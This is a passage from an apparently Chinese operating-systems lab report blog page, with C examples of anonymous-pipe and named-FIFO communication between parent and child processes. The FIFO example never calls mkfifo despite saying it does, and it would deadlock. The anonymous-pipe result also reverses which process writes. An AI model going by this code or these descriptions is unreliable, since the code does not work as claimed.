\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pipe(fd)==\u003cspan class=\"number\"\u003e-1\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e perror(\u003cspan class=\"string\"\u003e\u0026#34;pipe\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pid=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e perror(\u003cspan class=\"string\"\u003e\u0026#34;fork\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid==\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Child: Writing to pipe\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(fd[\u003cspan class=\"number\"\u003e0\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e write(fd[\u003cspan class=\"number\"\u003e1\u003c/span\u003e], \u003cspan class=\"string\"\u003e\u0026#34;Hello, World!\u0026#34;\u003c/span\u003e ,\u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Hello, World!\u0026#34;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(fd[\u003cspan class=\"number\"\u003e1\u003c/span\u003e]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e wait(\u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e read(fd[\u003cspan class=\"number\"\u003e0\u003c/span\u003e], buffer, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(buffer));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Parent: %s\\n\u0026#34;\u003c/span\u003e, buffer);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-3\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523164828.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,父进程成功向匿名管道写入数据,并被子进程读取并打印出来。\u003c/p\u003e\u003ch3 id=\"五、实验心得-3\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-3\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下匿名管道的原理和用法,知道了如何使用系统调用来创建和操作匿名管道,在父子进程之间进行双向通信。同时,我也了解了如何使用重定向技术来改变标准输入输出的来源和目的地。\u003c/p\u003e\u003ch2 id=\"实验5:命名匿名管道通信\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C5%EF%BC%9A%E5%91%BD%E5%90%8D%E5%8C%BF%E5%90%8D%E7%AE%A1%E9%81%93%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"实验5:命名匿名管道通信\"\u003e\u003c/a\u003e实验5:命名匿名管道通信\u003c/h2\u003e\u003ch3 id=\"一、实验目标-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-4\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解命名匿名管道的原理和用法\u003c/li\u003e\u003cli\u003e使用命名匿名管道实现父子进程之间的单向通信\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-4\" class=\"headerlink\" title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个main.c,并引入头文件unistd.h和stdio.h。在主程序中使用mkfifo()函数创建一个命名匿名管道,并使用fork()函数创建一个子进程。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程使用open()函数打开命名匿名管道,并使用write()函数向管道写入数据。然后使用close()函数关闭管道,并使用exit()函数退出子进程。\u003c/p\u003e\u003cp\u003e如果rc\u0026gt;0,则当前进程是父进程。父进程使用open()函数打开命名匿名管道,并使用read()函数从管道读取数据。然后使用close()函数关闭管道,并使用wait()函数等待子进程结束。\u003c/p\u003e\u003ch3 id=\"三、实验代码-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-4\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;string.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;fcntl.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/wait.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/stat.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;sys/types.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e FIFO_NAME \u003cspan class=\"string\"\u003e\u0026#34;/tmp/my_fifo\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e pid=fork();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid\u0026lt;\u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Fork failed\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pid==\u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e open_mode = O_WRONLY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Child process %d opening FIFO O_WRONLY\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = open(FIFO_NAME, open_mode);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Child process %d result %d\\n\u0026#34;\u003c/span\u003e, getpid(), res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (res != \u003cspan class=\"number\"\u003e-1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e5\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e write(res, \u003cspan class=\"string\"\u003e\u0026#34;Hello\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d finished\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_SUCCESS);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e } \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e open_mode = O_RDONLY;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[\u003cspan class=\"number\"\u003e20\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// wait for child to finish\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e waitpid(pid, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Parent process started.\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d opening FIFO O_RDONLY\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = open(FIFO_NAME, open_mode);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d result %d\\n\u0026#34;\u003c/span\u003e, getpid(), res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (res != \u003cspan class=\"number\"\u003e-1\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e5\u003c/span\u003e; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e read(res, buffer, \u003cspan class=\"number\"\u003e20\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d read %s\\n\u0026#34;\u003c/span\u003e, getpid(), buffer);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sleep(\u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e close(res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_FAILURE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Process %d finished\\n\u0026#34;\u003c/span\u003e, getpid());\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e(EXIT_SUCCESS);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-4\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523165148.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,子进程成功向命名匿名管道写入数据,并被父进程读取并打印出来。\u003c/p\u003e\u003ch3 id=\"五、实验心得-4\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-4\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下命名匿名管道的原理和用法,知道了如何使用系统调用来创建和操作命名匿名管道,在父子进程之间进行单向通信。同时,我也了解了如何使用文件操作函数来读写命名匿名管道\u003c/p\u003e\u003ch2 id=\"实验6:信号量实现进程同步\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%AE%9E%E9%AA%8C6%EF%BC%9A%E4%BF%A1%E5%8F%B7%E9%87%8F%E5%AE%9E%E7%8E%B0%E8%BF%9B%E7%A8%8B%E5%90%8C%E6%AD%A5\" class=\"headerlink\" title=\"实验6:信号量实现进程同步\"\u003e\u003c/a\u003e实验6:信号量实现进程同步\u003c/h2\u003e\u003ch3 id=\"一、实验目标-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%80%E3%80%81%E5%AE%9E%E9%AA%8C%E7%9B%AE%E6%A0%87-5\" class=\"headerlink\" title=\"一、实验目标\"\u003e\u003c/a\u003e一、实验目标\u003c/h3\u003e\u003col\u003e\u003cli\u003e理解信号量的原理和用法\u003c/li\u003e\u003cli\u003e使用信号量实现生产者消费者问题的进程同步\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"二、实验过程-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%8C%E3%80%81%E5%AE%9E%E9%AA%8C%E8%BF%87%E7%A8%8B-5\" class=\"headerlink\" 